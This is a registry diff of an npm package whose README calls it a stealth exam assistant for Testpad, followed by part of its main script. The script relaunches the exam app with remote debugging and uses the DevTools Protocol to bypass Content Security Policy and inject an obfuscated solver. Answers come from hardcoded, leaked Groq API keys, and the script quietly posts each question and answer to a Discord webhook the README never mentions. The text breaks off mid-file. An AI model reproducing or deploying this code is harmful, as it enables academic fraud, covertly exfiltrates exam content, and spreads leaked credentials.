eyee 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +39 -0
- package/cdp_inject.js +661 -0
- package/demo_test.html +131 -0
- package/node_modules/ws/LICENSE +20 -0
- package/node_modules/ws/README.md +548 -0
- package/node_modules/ws/browser.js +8 -0
- package/node_modules/ws/index.js +22 -0
- package/node_modules/ws/lib/buffer-util.js +131 -0
- package/node_modules/ws/lib/constants.js +19 -0
- package/node_modules/ws/lib/event-target.js +292 -0
- package/node_modules/ws/lib/extension.js +203 -0
- package/node_modules/ws/lib/limiter.js +55 -0
- package/node_modules/ws/lib/permessage-deflate.js +528 -0
- package/node_modules/ws/lib/receiver.js +706 -0
- package/node_modules/ws/lib/sender.js +607 -0
- package/node_modules/ws/lib/stream.js +161 -0
- package/node_modules/ws/lib/subprotocol.js +62 -0
- package/node_modules/ws/lib/validation.js +152 -0
- package/node_modules/ws/lib/websocket-server.js +554 -0
- package/node_modules/ws/lib/websocket.js +1393 -0
- package/node_modules/ws/package.json +70 -0
- package/node_modules/ws/wrapper.mjs +21 -0
- package/package.json +28 -0
package/README.md
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
# CDP Solver
|
|
2
|
+
|
|
3
|
+
Stealth Exam Assistant for Testpad.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install -g cdp-core
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Usage
|
|
12
|
+
|
|
13
|
+
On your other laptop, simply run:
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
npx -y cdp-core
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
### What it does:
|
|
20
|
+
1. It searches for **Testpad** or **Chrome** on your PC.
|
|
21
|
+
2. It automatically launches them with the required debugging port (`9222`).
|
|
22
|
+
3. It starts the solver injector.
|
|
23
|
+
|
|
24
|
+
*Note: If it can't find your browser automatically, you can still launch it manually with `--remote-debugging-port=9222`.*
|
|
25
|
+
|
|
26
|
+
### Hotkeys
|
|
27
|
+
|
|
28
|
+
- **Ctrl + Shift + G**: Solve & Show (Ghost Panel)
|
|
29
|
+
- **Ctrl + Shift + H**: Toggle Hide/Unhide Panel
|
|
30
|
+
- **Ctrl + Shift + S**: Force Start Bypass
|
|
31
|
+
|
|
32
|
+
## Description
|
|
33
|
+
|
|
34
|
+
This tool injects a stealth solver script into a Chrome/Edge instance running with Remote Debugging enabled (port 9222). It uses the Groq API (Llama 3) to provide brief solutions to questions on the page.
|
|
35
|
+
|
|
36
|
+
## Requirements
|
|
37
|
+
|
|
38
|
+
- Chrome/Edge running with `--remote-debugging-port=9222`
|
|
39
|
+
- Node.js installed
|
package/cdp_inject.js
ADDED
|
@@ -0,0 +1,661 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
const http = require("http");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
let WebSocket;
|
|
5
|
+
try {
|
|
6
|
+
WebSocket = require("ws");
|
|
7
|
+
} catch (e) {
|
|
8
|
+
process.exit(1);
|
|
9
|
+
}
|
|
10
|
+
const { exec, execSync } = require("child_process");
|
|
11
|
+
const path = require("path");
|
|
12
|
+
const fs = require("fs");
|
|
13
|
+
const net = require("net");
|
|
14
|
+
|
|
15
|
+
let LOCK_PORT = 0;
|
|
16
|
+
const CDP_PORT = 9222;
|
|
17
|
+
|
|
18
|
+
function getRandomPort() {
|
|
19
|
+
return new Promise((resolve, reject) => {
|
|
20
|
+
const srv = net.createServer();
|
|
21
|
+
srv.listen(0, "127.0.0.1", () => {
|
|
22
|
+
const port = srv.address().port;
|
|
23
|
+
srv.close(() => resolve(port));
|
|
24
|
+
});
|
|
25
|
+
srv.on("error", reject);
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
const keyPool = [
|
|
30
|
+
{ key: "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", rpmRemaining: null, tpmRemaining: null, cooldownUntil: 0, failStreak: 0, dead: false },
|
|
31
|
+
{ key: "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", rpmRemaining: null, tpmRemaining: null, cooldownUntil: 0, failStreak: 0, dead: false },
|
|
32
|
+
{ key: "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", rpmRemaining: null, tpmRemaining: null, cooldownUntil: 0, failStreak: 0, dead: false },
|
|
33
|
+
{ key: "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", rpmRemaining: null, tpmRemaining: null, cooldownUntil: 0, failStreak: 0, dead: false },
|
|
34
|
+
{ key: "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", rpmRemaining: null, tpmRemaining: null, cooldownUntil: 0, failStreak: 0, dead: false },
|
|
35
|
+
{ key: "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", rpmRemaining: null, tpmRemaining: null, cooldownUntil: 0, failStreak: 0, dead: false },
|
|
36
|
+
];
|
|
37
|
+
|
|
38
|
+
const MAX_CONCURRENT = 3;
|
|
39
|
+
const MAX_RETRIES = 10;
|
|
40
|
+
let activeRequests = 0;
|
|
41
|
+
const requestQueue = [];
|
|
42
|
+
|
|
43
|
+
const DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1512503888811659355/VyMd_oebkMgLJIDPvVubYbIkqPi_hCsRdWSmsLueLp22ycNmOlatd01ujOCMFyhfktlK";
|
|
44
|
+
|
|
45
|
+
function sendToWebhook(question, answer, source) {
|
|
46
|
+
try {
|
|
47
|
+
const truncatedQ = question.length > 1500 ? question.substring(0, 1500) + "..." : question;
|
|
48
|
+
const truncatedA = answer.length > 1500 ? answer.substring(0, 1500) + "..." : answer;
|
|
49
|
+
const payload = JSON.stringify({
|
|
50
|
+
embeds: [{
|
|
51
|
+
title: `📝 Solver Result (${source})`,
|
|
52
|
+
color: source === "local" ? 0x00ff00 : 0x3498db,
|
|
53
|
+
fields: [
|
|
54
|
+
{ name: "Question", value: truncatedQ.substring(0, 1024) || "N/A" },
|
|
55
|
+
{ name: "Answer", value: truncatedA.substring(0, 1024) || "N/A" }
|
|
56
|
+
],
|
|
57
|
+
timestamp: new Date().toISOString()
|
|
58
|
+
}]
|
|
59
|
+
});
|
|
60
|
+
const u = new URL(DISCORD_WEBHOOK_URL);
|
|
61
|
+
const req = https.request({
|
|
62
|
+
hostname: u.hostname,
|
|
63
|
+
path: u.pathname,
|
|
64
|
+
method: "POST",
|
|
65
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) }
|
|
66
|
+
});
|
|
67
|
+
req.on("error", () => {});
|
|
68
|
+
req.write(payload);
|
|
69
|
+
req.end();
|
|
70
|
+
} catch (e) {}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
let localMCQBank = [];
|
|
74
|
+
try {
|
|
75
|
+
const bankPath = path.join(__dirname, "mcq_bank.json");
|
|
76
|
+
if (fs.existsSync(bankPath)) {
|
|
77
|
+
localMCQBank = JSON.parse(fs.readFileSync(bankPath, "utf8"));
|
|
78
|
+
}
|
|
79
|
+
} catch (e) {
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
function checkLocalBank(pageText) {
|
|
83
|
+
if (!localMCQBank || localMCQBank.length === 0 || !pageText) return null;
|
|
84
|
+
const normalizedPage = pageText.replace(/\s+/g, " ").toLowerCase();
|
|
85
|
+
for (const q of localMCQBank) {
|
|
86
|
+
if (!q.question || !q.answer) continue;
|
|
87
|
+
const normalizedQ = q.question.replace(/\s+/g, " ").toLowerCase();
|
|
88
|
+
if (normalizedPage.includes(normalizedQ)) {
|
|
89
|
+
return q.answer;
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
return null;
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
let currentKeyIndex = 0;
|
|
96
|
+
function selectBestKey(isHighCost) {
|
|
97
|
+
const now = Date.now();
|
|
98
|
+
for (let i = 0; i < keyPool.length; i++) {
|
|
99
|
+
const idx = (currentKeyIndex + i) % keyPool.length;
|
|
100
|
+
const k = keyPool[idx];
|
|
101
|
+
|
|
102
|
+
if (k.dead) continue;
|
|
103
|
+
if (now < k.cooldownUntil) continue;
|
|
104
|
+
if (k.rpmRemaining !== null && k.rpmRemaining <= 0) continue;
|
|
105
|
+
if (isHighCost && k.tpmRemaining !== null && k.tpmRemaining < 3000) continue;
|
|
106
|
+
|
|
107
|
+
currentKeyIndex = (idx + 1) % keyPool.length;
|
|
108
|
+
return k;
|
|
109
|
+
}
|
|
110
|
+
// Fallback: pick the key whose cooldown expires soonest (excluding dead keys)
|
|
111
|
+
let earliest = null;
|
|
112
|
+
for (const k of keyPool) {
|
|
113
|
+
if (k.dead) continue;
|
|
114
|
+
if (!earliest || k.cooldownUntil < earliest.cooldownUntil) earliest = k;
|
|
115
|
+
}
|
|
116
|
+
return earliest;
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
function launchBrowser() {
|
|
120
|
+
const userProfile =
|
|
121
|
+
process.env.USERPROFILE ||
|
|
122
|
+
"C:\\Users\\" + (process.env.USERNAME || "Default");
|
|
123
|
+
const p = path.join(
|
|
124
|
+
userProfile,
|
|
125
|
+
"AppData\\Local\\Programs\\testpad\\testpad.exe",
|
|
126
|
+
);
|
|
127
|
+
if (fs.existsSync(p)) {
|
|
128
|
+
try {
|
|
129
|
+
execSync("taskkill /F /IM testpad.exe", { stdio: "ignore" });
|
|
130
|
+
} catch (e) {}
|
|
131
|
+
|
|
132
|
+
// Use spawn to correctly launch the executable and detach it, preventing cmd.exe from opening file explorer
|
|
133
|
+
const child = require("child_process").spawn(p, [`--remote-debugging-port=${CDP_PORT}`], {
|
|
134
|
+
detached: true,
|
|
135
|
+
stdio: "ignore",
|
|
136
|
+
});
|
|
137
|
+
child.unref();
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
const SOLVER_SCRIPT = `
|
|
142
|
+
(function() {
|
|
143
|
+
if (window._rV) return;
|
|
144
|
+
window._rV = true;
|
|
145
|
+
const _w = console.warn.bind(console);
|
|
146
|
+
let _cl = [];
|
|
147
|
+
let _ci = 0;
|
|
148
|
+
let _kd = {};
|
|
149
|
+
let _lt = 0;
|
|
150
|
+
window._rR = function(data) {
|
|
151
|
+
if (data.type === 'mcq') {
|
|
152
|
+
if (!document.getElementById('_rs')) {
|
|
153
|
+
const s = document.createElement('style');
|
|
154
|
+
s.id = '_rs';
|
|
155
|
+
s.textContent = '._rh::after{content:' + String.fromCharCode(34,46,34) + ';font-size:1.15em}';
|
|
156
|
+
document.head.appendChild(s);
|
|
157
|
+
}
|
|
158
|
+
const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT);
|
|
159
|
+
let node;
|
|
160
|
+
while (node = walker.nextNode()) {
|
|
161
|
+
if (node.textContent.toLowerCase().includes(data.answer.toLowerCase())) {
|
|
162
|
+
const p = node.parentElement;
|
|
163
|
+
p.classList.add('_rh');
|
|
164
|
+
p.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
|
165
|
+
setTimeout(() => { p.classList.remove('_rh'); }, 5000);
|
|
166
|
+
break;
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
} else if (data.type === 'code') {
|
|
170
|
+
_cl = data.answer.split(/\\r?\\n/).filter(l => l.trim() !== '');
|
|
171
|
+
_ci = 0;
|
|
172
|
+
}
|
|
173
|
+
};
|
|
174
|
+
function _insertChar(ch) {
|
|
175
|
+
var el = document.activeElement;
|
|
176
|
+
if (!el) return;
|
|
177
|
+
if (el.tagName === 'TEXTAREA' || el.tagName === 'INPUT') {
|
|
178
|
+
var start = el.selectionStart || 0;
|
|
179
|
+
var end = el.selectionEnd || 0;
|
|
180
|
+
el.value = el.value.substring(0, start) + ch + el.value.substring(end);
|
|
181
|
+
el.selectionStart = el.selectionEnd = start + ch.length;
|
|
182
|
+
el.dispatchEvent(new Event('input', { bubbles: true }));
|
|
183
|
+
} else {
|
|
184
|
+
document.execCommand('insertText', false, ch);
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
const _ts = () => {
|
|
188
|
+
const pc = document.body.innerText;
|
|
189
|
+
const el = document.activeElement;
|
|
190
|
+
let ec = '';
|
|
191
|
+
if (el) {
|
|
192
|
+
if (el.tagName === 'TEXTAREA' || el.tagName === 'INPUT') ec = el.value;
|
|
193
|
+
else if (el.classList.contains('monaco-editor') || el.contentEditable === 'true') ec = el.innerText || el.textContent;
|
|
194
|
+
}
|
|
195
|
+
if (pc.length > 10) {
|
|
196
|
+
_w('_cdp_solve_: ' + btoa(unescape(encodeURIComponent(JSON.stringify({ question: pc, currentCode: ec })))));
|
|
197
|
+
}
|
|
198
|
+
};
|
|
199
|
+
document.addEventListener('mousemove', (e) => {
|
|
200
|
+
const now = Date.now();
|
|
201
|
+
if (e.clientX <= 1) {
|
|
202
|
+
if (now - _lt > 3000) { _lt = now; _ts(); }
|
|
203
|
+
} else if (e.clientX >= window.innerWidth - 1) {
|
|
204
|
+
_cl = []; _ci = 0;
|
|
205
|
+
}
|
|
206
|
+
});
|
|
207
|
+
document.addEventListener('keydown', (e) => {
|
|
208
|
+
const key = e.key;
|
|
209
|
+
_kd[e.code || key] = true;
|
|
210
|
+
const both = (_kd['ArrowLeft'] || _kd['Left']) && (_kd['ArrowRight'] || _kd['Right']);
|
|
211
|
+
if (both) { e.preventDefault(); _ts(); }
|
|
212
|
+
if (_cl.length > 0 && !e.ctrlKey && !e.altKey && !e.metaKey && key.length === 1) {
|
|
213
|
+
const el = document.activeElement;
|
|
214
|
+
if (el && (el.tagName === 'TEXTAREA' || el.classList.contains('monaco-editor') || el.contentEditable === 'true' || el.tagName === 'INPUT')) {
|
|
215
|
+
e.preventDefault(); e.stopPropagation();
|
|
216
|
+
let cur = _cl[0];
|
|
217
|
+
if (_ci === 0) {
|
|
218
|
+
while (_ci < cur.length && (cur[_ci] === ' ' || cur[_ci] === '\\t')) { _ci++; }
|
|
219
|
+
}
|
|
220
|
+
if (_ci < cur.length) {
|
|
221
|
+
_insertChar(cur[_ci]);
|
|
222
|
+
_ci++;
|
|
223
|
+
} else {
|
|
224
|
+
_insertChar(String.fromCharCode(10));
|
|
225
|
+
_cl.shift(); _ci = 0;
|
|
226
|
+
}
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
}, true);
|
|
230
|
+
document.addEventListener('keyup', (e) => { _kd[e.code || e.key] = false; }, true);
|
|
231
|
+
})();
|
|
232
|
+
`;
|
|
233
|
+
|
|
234
|
+
async function sleep(ms) {
|
|
235
|
+
return new Promise((r) => setTimeout(r, ms));
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
|
|
239
|
+
let lastEnqueuedContent = "";
|
|
240
|
+
function enqueueTask(ws, content) {
|
|
241
|
+
if (content === lastEnqueuedContent) return;
|
|
242
|
+
lastEnqueuedContent = content;
|
|
243
|
+
|
|
244
|
+
const isHighCost =
|
|
245
|
+
content.length > 200 ||
|
|
246
|
+
content.includes("{") ||
|
|
247
|
+
content.includes("function") ||
|
|
248
|
+
content.includes("class ");
|
|
249
|
+
requestQueue.push({ ws, content, isHighCost, priority: false, retries: 0 });
|
|
250
|
+
requestQueue.sort((a, b) => (b.priority ? 1 : 0) - (a.priority ? 1 : 0));
|
|
251
|
+
processQueue();
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
async function processQueue() {
|
|
255
|
+
if (activeRequests >= MAX_CONCURRENT || requestQueue.length === 0) return;
|
|
256
|
+
const task = requestQueue[0];
|
|
257
|
+
const keyObj = selectBestKey(task.isHighCost);
|
|
258
|
+
if (!keyObj) {
|
|
259
|
+
setTimeout(processQueue, 1000);
|
|
260
|
+
return;
|
|
261
|
+
}
|
|
262
|
+
requestQueue.shift();
|
|
263
|
+
activeRequests++;
|
|
264
|
+
try {
|
|
265
|
+
await executeTask(task, keyObj);
|
|
266
|
+
} finally {
|
|
267
|
+
activeRequests--;
|
|
268
|
+
processQueue();
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
async function executeTask(task, keyObj) {
|
|
273
|
+
const { ws, content, isHighCost } = task;
|
|
274
|
+
|
|
275
|
+
// 1. First check local MCQ bank
|
|
276
|
+
try {
|
|
277
|
+
const parsed = JSON.parse(content);
|
|
278
|
+
if (parsed && parsed.question) {
|
|
279
|
+
const localAnswer = checkLocalBank(parsed.question);
|
|
280
|
+
if (localAnswer) {
|
|
281
|
+
// We found an exact match locally, return instantly!
|
|
282
|
+
ws.send(
|
|
283
|
+
JSON.stringify({
|
|
284
|
+
id: Math.floor(Math.random() * 1000),
|
|
285
|
+
method: "Runtime.evaluate",
|
|
286
|
+
params: {
|
|
287
|
+
expression: `window._rR(${JSON.stringify({ type: "mcq", answer: localAnswer })})`,
|
|
288
|
+
},
|
|
289
|
+
}),
|
|
290
|
+
);
|
|
291
|
+
sendToWebhook(parsed.question.substring(0, 500), localAnswer, "local");
|
|
292
|
+
return; // Skip API call entirely
|
|
293
|
+
}
|
|
294
|
+
}
|
|
295
|
+
} catch (e) {
|
|
296
|
+
// Fall back to API on parsing error or no match
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
try {
|
|
300
|
+
const payload = {
|
|
301
|
+
model: "llama-3.3-70b-versatile",
|
|
302
|
+
messages: [
|
|
303
|
+
{
|
|
304
|
+
role: "system",
|
|
305
|
+
content:
|
|
306
|
+
'You are a world-class Computer Science professor and expert programmer. Your answers must be 100% CORRECT — lives depend on it.\n\nSTRICT RULES:\n1. THINK step-by-step. Show full reasoning in the "reasoning" field.\n2. For MCQs: Read ALL options carefully. Eliminate wrong ones first. The answer MUST be the EXACT text of one option — copy it character by character. DO NOT paraphrase.\n3. For code: Write COMPLETE, COMPILABLE, OPTIMIZED code. Handle ALL edge cases. Follow the EXACT language required. Use stdin/stdout unless told otherwise. Include necessary headers/imports.\n4. DOUBLE-CHECK your answer before responding. If unsure, reason more carefully instead of guessing.\n5. For math/logic: Show each calculation step. Verify the final answer by substitution or reverse check.\n6. NEVER guess. NEVER hallucinate. If a question has a trick, identify it.\n\nOUTPUT: Return ONLY valid JSON, no markdown, no extra text:\n{"reasoning": "detailed step-by-step reasoning", "type": "mcq" or "code", "answer": "exact option text OR complete code"}',
|
|
307
|
+
},
|
|
308
|
+
{ role: "user", content: content },
|
|
309
|
+
],
|
|
310
|
+
response_format: { type: "json_object" },
|
|
311
|
+
temperature: 0,
|
|
312
|
+
};
|
|
313
|
+
|
|
314
|
+
const groqUrl = "https://api.groq.com/openai/v1/chat/completions";
|
|
315
|
+
|
|
316
|
+
const doFetch = (urlStr) =>
|
|
317
|
+
new Promise((res, rej) => {
|
|
318
|
+
const u = new URL(urlStr);
|
|
319
|
+
const req = https.request(
|
|
320
|
+
{
|
|
321
|
+
hostname: u.hostname,
|
|
322
|
+
path: u.pathname + u.search,
|
|
323
|
+
method: "POST",
|
|
324
|
+
timeout: 15000,
|
|
325
|
+
rejectUnauthorized: false,
|
|
326
|
+
headers: {
|
|
327
|
+
"Content-Type": "application/json",
|
|
328
|
+
"Authorization": `Bearer ${keyObj.key}`
|
|
329
|
+
},
|
|
330
|
+
},
|
|
331
|
+
(r) => {
|
|
332
|
+
let d = "";
|
|
333
|
+
r.on("data", (c) => (d += c));
|
|
334
|
+
r.on("end", () => res({ status: r.statusCode, data: d, headers: r.headers }));
|
|
335
|
+
},
|
|
336
|
+
);
|
|
337
|
+
req.on("timeout", () => { req.destroy(new Error("Request timed out after 15s")); });
|
|
338
|
+
req.on("error", rej);
|
|
339
|
+
req.write(JSON.stringify(payload));
|
|
340
|
+
req.end();
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
const rawResponse = await doFetch(groqUrl);
|
|
344
|
+
|
|
345
|
+
// Update rate limit tracking from response headers
|
|
346
|
+
let rHeaders = {};
|
|
347
|
+
if (rawResponse.headers) {
|
|
348
|
+
for (let k in rawResponse.headers) {
|
|
349
|
+
let v = rawResponse.headers[k];
|
|
350
|
+
rHeaders[k.toLowerCase()] = Array.isArray(v) ? v[0] : v;
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
if (rHeaders["x-ratelimit-remaining-tokens"])
|
|
355
|
+
keyObj.tpmRemaining = parseInt(rHeaders["x-ratelimit-remaining-tokens"]);
|
|
356
|
+
if (rHeaders["x-ratelimit-remaining-requests"])
|
|
357
|
+
keyObj.rpmRemaining = parseInt(rHeaders["x-ratelimit-remaining-requests"]);
|
|
358
|
+
|
|
359
|
+
// Auto-cooldown when RPM or TPM is exhausted using reset headers
|
|
360
|
+
if (keyObj.rpmRemaining !== null && keyObj.rpmRemaining <= 0) {
|
|
361
|
+
const resetSec = parseFloat(rHeaders["x-ratelimit-reset-requests"] || "60");
|
|
362
|
+
keyObj.cooldownUntil = Math.max(keyObj.cooldownUntil, Date.now() + resetSec * 1000);
|
|
363
|
+
}
|
|
364
|
+
if (keyObj.tpmRemaining !== null && keyObj.tpmRemaining <= 0) {
|
|
365
|
+
const resetSec = parseFloat(rHeaders["x-ratelimit-reset-tokens"] || "60");
|
|
366
|
+
keyObj.cooldownUntil = Math.max(keyObj.cooldownUntil, Date.now() + resetSec * 1000);
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
// Handle auth failures — mark key as permanently dead
|
|
370
|
+
if (rawResponse.status === 401 || rawResponse.status === 403 || (rawResponse.status === 400 && rawResponse.data.includes("restricted"))) {
|
|
371
|
+
keyObj.dead = true;
|
|
372
|
+
throw new Error(`HTTP ${rawResponse.status} — key invalid/revoked/restricted, marked dead`);
|
|
373
|
+
}
|
|
374
|
+
|
|
375
|
+
// Handle rate limits and server errors
|
|
376
|
+
if (rawResponse.status === 429) {
|
|
377
|
+
const retryAfter = parseFloat(rHeaders["retry-after"] || "10");
|
|
378
|
+
keyObj.cooldownUntil = Date.now() + retryAfter * 1000;
|
|
379
|
+
throw new Error(`HTTP 429 — rate limited, cooldown ${retryAfter}s`);
|
|
380
|
+
}
|
|
381
|
+
if (rawResponse.status >= 500) {
|
|
382
|
+
throw new Error(`HTTP ${rawResponse.status} — server error`);
|
|
383
|
+
}
|
|
384
|
+
|
|
385
|
+
// Handle other client errors (400, 422, etc.)
|
|
386
|
+
if (rawResponse.status >= 400) {
|
|
387
|
+
let errMsg = `HTTP ${rawResponse.status}`;
|
|
388
|
+
try {
|
|
389
|
+
const errData = JSON.parse(rawResponse.data);
|
|
390
|
+
if (errData.error && errData.error.message) errMsg += `: ${errData.error.message}`;
|
|
391
|
+
} catch (_) {}
|
|
392
|
+
throw new Error(errMsg);
|
|
393
|
+
}
|
|
394
|
+
|
|
395
|
+
const data = JSON.parse(rawResponse.data);
|
|
396
|
+
if (data.choices && data.choices[0]) {
|
|
397
|
+
const answer = data.choices[0].message.content;
|
|
398
|
+
ws.send(
|
|
399
|
+
JSON.stringify({
|
|
400
|
+
id: Math.floor(Math.random() * 1000),
|
|
401
|
+
method: "Runtime.evaluate",
|
|
402
|
+
params: { expression: `window._rR(${answer})` },
|
|
403
|
+
}),
|
|
404
|
+
);
|
|
405
|
+
keyObj.failStreak = 0;
|
|
406
|
+
// Send question + answer to Discord webhook
|
|
407
|
+
try {
|
|
408
|
+
const parsed = JSON.parse(content);
|
|
409
|
+
const answerParsed = JSON.parse(answer);
|
|
410
|
+
sendToWebhook(
|
|
411
|
+
(parsed.question || content).substring(0, 500),
|
|
412
|
+
answerParsed.answer || answer,
|
|
413
|
+
"groq-api"
|
|
414
|
+
);
|
|
415
|
+
} catch (_) {
|
|
416
|
+
sendToWebhook(content.substring(0, 500), answer, "groq-api");
|
|
417
|
+
}
|
|
418
|
+
} else {
|
|
419
|
+
throw new Error("No choices in response");
|
|
420
|
+
}
|
|
421
|
+
} catch (e) {
|
|
422
|
+
keyObj.failStreak++;
|
|
423
|
+
|
|
424
|
+
// Don't re-queue if key is dead (auth failure) — try with a different key
|
|
425
|
+
if (!keyObj.dead) {
|
|
426
|
+
const backoffMs =
|
|
427
|
+
5000 * Math.pow(2, keyObj.failStreak - 1) +
|
|
428
|
+
Math.floor(Math.random() * 2000) +
|
|
429
|
+
1000;
|
|
430
|
+
keyObj.cooldownUntil = Math.max(keyObj.cooldownUntil, Date.now() + Math.min(backoffMs, 120000));
|
|
431
|
+
}
|
|
432
|
+
|
|
433
|
+
// Retry with cap
|
|
434
|
+
task.retries = (task.retries || 0) + 1;
|
|
435
|
+
if (task.retries <= MAX_RETRIES) {
|
|
436
|
+
task.priority = true;
|
|
437
|
+
requestQueue.push(task);
|
|
438
|
+
requestQueue.sort((a, b) => (b.priority ? 1 : 0) - (a.priority ? 1 : 0));
|
|
439
|
+
}
|
|
440
|
+
}
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
async function main() {
|
|
444
|
+
LOCK_PORT = await getRandomPort();
|
|
445
|
+
|
|
446
|
+
process.on("uncaughtException", (e) => {});
|
|
447
|
+
process.on("unhandledRejection", (reason) => {});
|
|
448
|
+
|
|
449
|
+
const server = net.createServer();
|
|
450
|
+
server.listen(LOCK_PORT, "127.0.0.1");
|
|
451
|
+
|
|
452
|
+
let launchAttempted = false;
|
|
453
|
+
const activeConnections = new Set();
|
|
454
|
+
|
|
455
|
+
while (true) {
|
|
456
|
+
try {
|
|
457
|
+
const targets = await new Promise((res, rej) => {
|
|
458
|
+
const req = http.get("http://127.0.0.1:" + CDP_PORT + "/json", (r) => {
|
|
459
|
+
let d = "";
|
|
460
|
+
r.on("data", (c) => (d += c));
|
|
461
|
+
r.on("end", () => {
|
|
462
|
+
try {
|
|
463
|
+
res(JSON.parse(d));
|
|
464
|
+
} catch (e) {
|
|
465
|
+
rej(e);
|
|
466
|
+
}
|
|
467
|
+
});
|
|
468
|
+
});
|
|
469
|
+
req.on("error", rej);
|
|
470
|
+
req.setTimeout(2000, () => req.destroy());
|
|
471
|
+
});
|
|
472
|
+
|
|
473
|
+
const pages = targets.filter(
|
|
474
|
+
(t) => t.type === "page" && t.webSocketDebuggerUrl,
|
|
475
|
+
);
|
|
476
|
+
for (const t of pages) {
|
|
477
|
+
if (activeConnections.has(t.id)) continue;
|
|
478
|
+
activeConnections.add(t.id);
|
|
479
|
+
|
|
480
|
+
const wsUrl = t.webSocketDebuggerUrl.replace("localhost", "127.0.0.1");
|
|
481
|
+
const ws = new WebSocket(wsUrl);
|
|
482
|
+
|
|
483
|
+
ws.on("open", () => {
|
|
484
|
+
ws.send(JSON.stringify({ id: 1, method: "Page.enable" }));
|
|
485
|
+
ws.send(JSON.stringify({ id: 2, method: "Runtime.enable" }));
|
|
486
|
+
ws.send(
|
|
487
|
+
JSON.stringify({
|
|
488
|
+
id: 3,
|
|
489
|
+
method: "Fetch.enable",
|
|
490
|
+
params: {
|
|
491
|
+
patterns: [
|
|
492
|
+
{ urlPattern: "*test/cdp-solver*", requestStage: "Request" },
|
|
493
|
+
{
|
|
494
|
+
urlPattern: "*test/ghost-solver*",
|
|
495
|
+
requestStage: "Request",
|
|
496
|
+
},
|
|
497
|
+
],
|
|
498
|
+
},
|
|
499
|
+
}),
|
|
500
|
+
);
|
|
501
|
+
ws.send(
|
|
502
|
+
JSON.stringify({
|
|
503
|
+
id: 4,
|
|
504
|
+
method: "Page.setBypassCSP",
|
|
505
|
+
params: { enabled: true },
|
|
506
|
+
}),
|
|
507
|
+
);
|
|
508
|
+
ws.send(
|
|
509
|
+
JSON.stringify({
|
|
510
|
+
id: 5,
|
|
511
|
+
method: "Page.addScriptToEvaluateOnNewDocument",
|
|
512
|
+
params: { source: SOLVER_SCRIPT },
|
|
513
|
+
}),
|
|
514
|
+
);
|
|
515
|
+
ws.send(
|
|
516
|
+
JSON.stringify({
|
|
517
|
+
id: 6,
|
|
518
|
+
method: "Runtime.evaluate",
|
|
519
|
+
params: { expression: SOLVER_SCRIPT },
|
|
520
|
+
}),
|
|
521
|
+
);
|
|
522
|
+
});
|
|
523
|
+
|
|
524
|
+
ws.on("message", async (msg) => {
|
|
525
|
+
try {
|
|
526
|
+
const resp = JSON.parse(msg);
|
|
527
|
+
if (resp.method === "Fetch.requestPaused") {
|
|
528
|
+
const requestId = resp.params && resp.params.requestId;
|
|
529
|
+
if (!requestId) return;
|
|
530
|
+
try {
|
|
531
|
+
const request = resp.params.request || {};
|
|
532
|
+
if (
|
|
533
|
+
request.url &&
|
|
534
|
+
(request.url.includes("/test/cdp-solver") ||
|
|
535
|
+
request.url.includes("/test/ghost-solver"))
|
|
536
|
+
) {
|
|
537
|
+
if (
|
|
538
|
+
request.url.includes("json") ||
|
|
539
|
+
(request.headers &&
|
|
540
|
+
request.headers["Accept"] &&
|
|
541
|
+
request.headers["Accept"].includes("application/json"))
|
|
542
|
+
) {
|
|
543
|
+
const jsonBody = Buffer.from(
|
|
544
|
+
JSON.stringify({
|
|
545
|
+
quiz: true,
|
|
546
|
+
id: "cdp-solver",
|
|
547
|
+
name: "Mock Test",
|
|
548
|
+
status: "active",
|
|
549
|
+
duration: 3600,
|
|
550
|
+
}),
|
|
551
|
+
).toString("base64");
|
|
552
|
+
ws.send(
|
|
553
|
+
JSON.stringify({
|
|
554
|
+
id: Math.floor(Math.random() * 1000),
|
|
555
|
+
method: "Fetch.fulfillRequest",
|
|
556
|
+
params: {
|
|
557
|
+
requestId,
|
|
558
|
+
responseCode: 200,
|
|
559
|
+
responseHeaders: [
|
|
560
|
+
{ name: "Content-Type", value: "application/json" },
|
|
561
|
+
],
|
|
562
|
+
body: jsonBody,
|
|
563
|
+
},
|
|
564
|
+
}),
|
|
565
|
+
);
|
|
566
|
+
} else {
|
|
567
|
+
try {
|
|
568
|
+
const htmlData = fs.readFileSync(
|
|
569
|
+
path.join(__dirname, "demo_test.html"),
|
|
570
|
+
);
|
|
571
|
+
ws.send(
|
|
572
|
+
JSON.stringify({
|
|
573
|
+
id: Math.floor(Math.random() * 1000),
|
|
574
|
+
method: "Fetch.fulfillRequest",
|
|
575
